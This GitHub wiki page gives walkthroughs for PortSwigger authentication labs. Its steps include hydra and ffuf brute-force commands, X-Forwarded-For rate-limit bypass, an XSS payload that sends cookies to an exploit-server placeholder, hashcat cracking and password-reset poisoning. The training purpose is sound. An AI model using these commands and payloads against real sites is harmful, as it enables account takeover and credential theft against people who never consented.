Authentication - gachikuku/portswigger GitHub Wiki

password-based

Apprentice lab:
Username enumeration via different responses

This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

  • Solution

    1. Browse to the login page and sumbit an invalid username and password.

    2. Observe the page response and notice "Invalid username".

    3. Find out the username.

      hydra -V -I -L usernames.txt -p *invalid* uuid.web-security-academy.net https-post-form "/login:username=^USER^&password=*invalid*:Invalid username" 
    4. Sumbit an invalid password, with the valid username.

    5. Observe the page response and notice "Invalid password".

    6. Find out the password.

      hydra -V -I -l *valid* -P passwords.txt uuid.web-security-academy.net https-post-form "/login:username=*valid*&password=^PASS^:Incorrect password" 
    7. Boom

NOTE
Using hydra can be tricky to use. View-source ⌘ ⌥ U when using hydra.
For example is the method http or https, is the type of the input user or username?

Practitioner lab:
Username enumeration via subtly different responses

This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

  • Solution

    1. Browse to the login page and sumbit an invalid username and password.

    2. Observe the page response and notice "Invalid username or password.".

    3. Find out the username.

      hydra -L usernames.txt -p *invalid* uuid.web-security-academy.net https-post-form "/login:username=^USER^&password=*invalid*:Invalid username or password." 
    4. Sumbit an invalid password, with the valid username.

    5. Observe the page response and notice "Invalid username or password ". There is a typo in the dot!

    6. Find out the password.

      hydra -l *valid* -P passwords.txt uuid.web-security-academy.net https-post-form "/login:username=*valid*&password=^PASS^:Invalid username or password " 
    7. Boom

NOTE:
This is also an another longer option. Namely "cluster bomb attack".

hydra -L usernames.txt -P passwords.txt uuid.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:Invalid username or password."

Practitioner lab:
Username enumeration via response timing

This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a
valid username, brute-force this user's password, then access their account page.

  • Your credentials: wiener:peter

  • Candidate usernames

  • Candidate passwords

  • Solution

    1. Log in as wiener:peter, extract (x4) the login POST request to a file, and log out.
    2. Modify the request query password so it's very very long. Replay (r) the request and notice the response time is much longer.
    3. Fuzz for username enumeration. Notice a limit protection has been implemented on the web app.
      X-Forwarded-For is used to bypass limit protection, aka IP spoofing.
    4. In order to use pitchfork mode in ffuf we need a range of numbers within a text file. Open vim and type
      :%!seq 100 200
    5. In the extracted request add X-Forwarded-For header and set it to FOO (range.txt), username to FUZZ (usernames.txt), and the password to a very long lengthy one (response time differences).
      ffuf -request request -w usernames.txt:FUZZ -w range.txt:FOO -mode pitchfork
    6. After finding the username successfully by seeing a much different response time, time to Change password query to FUZZ and brute force the password like so.
      ffuf -request request -w passwords.txt:FUZZ -w range.txt:FOO -mode pitchfork -c
    7. Seeing again something different, response time or even a different status code, means it's valid password for the enumerated user.

Practitioner lab:
Broken brute-force protection, IP block

This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim's password, then log in and access their account page.

  • Your credentials: wiener:peter

  • Victim's username: carlos

  • Candidate passwords

  • Solution

    1. Log in as wiener:peter, log out, and extract (x4) the POST request to a file i.e. request.txt.
    2. Notice login gets blocked after some unsuccessful attempts so, alternate successful/unsuccessful login attempts to remain unblocked.
    3. Create usernames.txt wordlist.
      seq 1 200 | awk 'NR % 2 != 0 {print "carlos"} NR % 2 == 0 {print "wiener"}' > usernames.txt
    4. Modify passwords.txt wordlist, by adding peter after every password. Vim macros can accomplish it easily, or awk.
      awk '{print $0 "\npeter"}' passwords.txt > modified-passwords.txt
    5. Fuzzzzzz fasterrrrr uuuuuuuuuuuuuuuuuuuuuuuuuu fououuouououuuuuuuuuuuuuuuuuuul
      ffuf -request request.txt -w usernames.txt:FUZZ -w passwords.txt:BUZZ -c -mode pitchfork -t 1

Practitioner lab:
Username enumeration via account lock

This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

  • Candidate usernames

  • Candidate passwords

  • Solution

    1. To simulate an account lock, and thus creating a different unique response, create a list of usernames duplicated 5x.
      awk '{print $0 "\n" $0 "\n" $0 "\n" $0 "\n" $0}' usernames.txt > usernames5x.txt
    2. Fuzz for username. Look for something that stands out.
      ffuf -w usernames5x.txt:FUZZ -request request.txt -c
    3. Fuzz for password after enumerating s username. Look for something that stands out.
      ffuf -w passwords.txt:FUZZ -request request.txt -c
    4. Log in with the with the enumerated credentials.

Expert lab:
Broken brute-force protection, multiple credentials per request

This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos's password, then access his account page.

  • Victim's username: carlos

  • Candidate passwords

  • Solution

    1. Log in as wiener:peter.
    2. Notice the POST request for /login is in a form of json.
      {
      "password": "peter",
      "username": "wiener"
      }
    3. Modify json file so username is carlos and it has all the passwords inside it.
      {
        "username": "carlos",
        "password": [
          "123456",
          "password",
          ...
          "moscow"
        ]
      }
    4. If STATUS is 302 or something interesting, login in again and intercept the request so it can be shown in the browser.

multi-factor

Apprentice lab:
2FA simple bypass

This lab's two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user's 2FA verification code. To solve the lab, access Carlos's account page.

  • Your credentials: wiener:peter

  • Victim's credentials carlos:montoya

  • Solution (Explaination)

    1. Log in as wiener:peter.
    2. Enter 2FA code, sent via email.
    3. Notice the url once logged in as wiener:peter. https://uuid.web-security-academy.net/my-account?id=wiener
    4. Log out, and log back in as carlos:montoya.
    5. When prompted for 2FA verification, paste the url as if already logged in. https://uuid.web-security-academy.net/my-account?id=carlos

Practitioner lab:
2FA broken logic


other-mechanisms

Apprentice lab:
Password reset broken logic

This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.

  • Your credentials: wiener:peter

  • Victim's username: carlos

  • Solution

    1. Go to /login page, and click on Forgot password?
    2. Enter wiener.
    3. In the email client, click the reset your password link.
    4. Enter password twice and intercept the Request.
    5. In the POST Request change the username form from wiener to carlos.
    6. Now login with the new password for carlos.

Practitioner lab:
Offline password cracking

This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the
comment functionality. To solve the lab, obtain Carlos's stay-logged-in cookie and use it to crack his
password. Then, log in as carlos and delete his account from the "My account" page.

  • Your credentials: wiener:peter

  • Victim's username: carlos

  • Solution

    1. Login in as wiener:peter with stay-logged-in checkbox checked.
    2. Notice in the response of the POST flow in the set-cookie header the cookie stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
    3. Decoding it reveals a username:hash.
      echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d
      wiener:51dc30ddc473d43a6011e9ebba6ca770%
      The hash (omit %) is the password which we can crack if we are able to obtain other hashes as well.
    4. Go to the commend functionality of the web application to spray `<script>alert(1);</script> and pray for XSS.
    5. Once verified for XSS steal a cookie.
      <script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
      Using the payload above make sure you check LOGS! Because errors might hint otherwise.
    6. Copy the cookie and store it in a file.
      echo "Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz" | base64 -d | awk -F: '{print $2}' > hash
    7. Command explaination.
      hashcat -m 0 -a 0 hash wordlist/rockyou.txt
      
    8. Delete poor carlos.

NOTE:
Brute force attacks generally take way longer than dictionary attacks.
Choosing the correct wordlist (or dictionary) is wiser.

Practitioner lab:
Brute-forcing a stay-logged-in cookie

This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.

To solve the lab, brute-force Carlos's cookie to gain access to his "My account" page.

  • Your credentials: wiener:peter

  • Victim's username: carlos

  • Candidate passwords

  • Solution

    1. Log in as wiener:peter with the stay-logged-in checkbox checked.
    2. Then logout.
    3. ⌘ ⌥ K (Firefox mac-shortcut) to open konsole and go to the storage tab under cookies and insert the previous stay-logged-in cookie.
    4. After refreshing and visiting my account, we verify that we can still be logged in just with the stay-logged-in cookie set.
    5. Notice the stay-logged-in cookie is in the form of base64(username:md5hash).
    6. Run python script to covert the wordlist into the desirable format for the cookie.
      import hashlib
      import base64
      
      def process_line(line):
          # Remove newline character and any leading/trailing whitespace
          word = line.strip()
          
          # Calculate MD5 hash of the word
          md5_hash = hashlib.md5(word.encode()).hexdigest()
          
          # Concatenate "carlos:" with the MD5 hash
          result = f"carlos:{md5_hash}"
          
          # Base64 encode the result
          return base64.b64encode(result.encode()).decode()
      
      def process_file(input_file, output_file):
          with open(input_file, 'r') as infile, open(output_file, 'w') as outfile:
              for line in infile:
                  processed_line = process_line(line)
                  outfile.write(processed_line + '\n')
      
      input_file = 'wordlist.txt'
      output_file = 'output.txt'
      
      process_file(input_file, output_file)
      print(f"Processed {input_file} and wrote the results to {output_file}")
    7. Select and export (x4) the raw_request to FUZZ the stay-logged-in cookie, Change the endpoint to carlos instead of wiener.
    8. FUZZzzzzzzzzzzzzzzz
      ffuf -request request -w output.txt -fc 302

Practitioner lab:
Password brute-force via password change

This lab's password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos's account and access his "My account" page.

  • Your credentials: wiener:peter

  • Victim's username: carlos

  • Candidate passwords

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the POST request username is a hidden parameter which we can change.
    3. Modify the POST request data username from wiener to carlos and replay (r) the request to make sure it's status code match the original. Export (x4) the request for ffuf.
    4. Try changing the password using Change password functionality and map out it's permutations.
      current-password new-password-1 new-password-2 response
      Valid test test 200 Password changed successfully!
      Valid test meow 200 New passwords do not match
      Invalid test test 302
      Invalid test meow 200 Current password is incorrect
    5. Based on the table we want to fuzz for current-password, but with new-password-1 and new-password-2 to be different.
      username=carlos&current-password=FUZZ&new-password-1=test&new-password-2=meow
      
    6. Fuzz with ffuf and filter through sizes to pick the odd one out as the password.
      ffuf -request request.txt -w passwords.txt:FUZZ -c

NOTE:
Good practice is to change the request within mitmproxy first and then export it for fuzzing.

Practitioner lab:
Password reset poisoning via middleware

This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account. You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.

  • Solution

    1. Click on Forgot password?.
    2. Enter wiener.
    3. Modify the /forgot-password POST request by adding X-Forwarded-Host: domain and changing the username to carlos.
    4. Access the logs and use the token generated to reset poor carlos's password and use it to log in as Carlos.
⚠️ **GitHub.com Fallback** ⚠️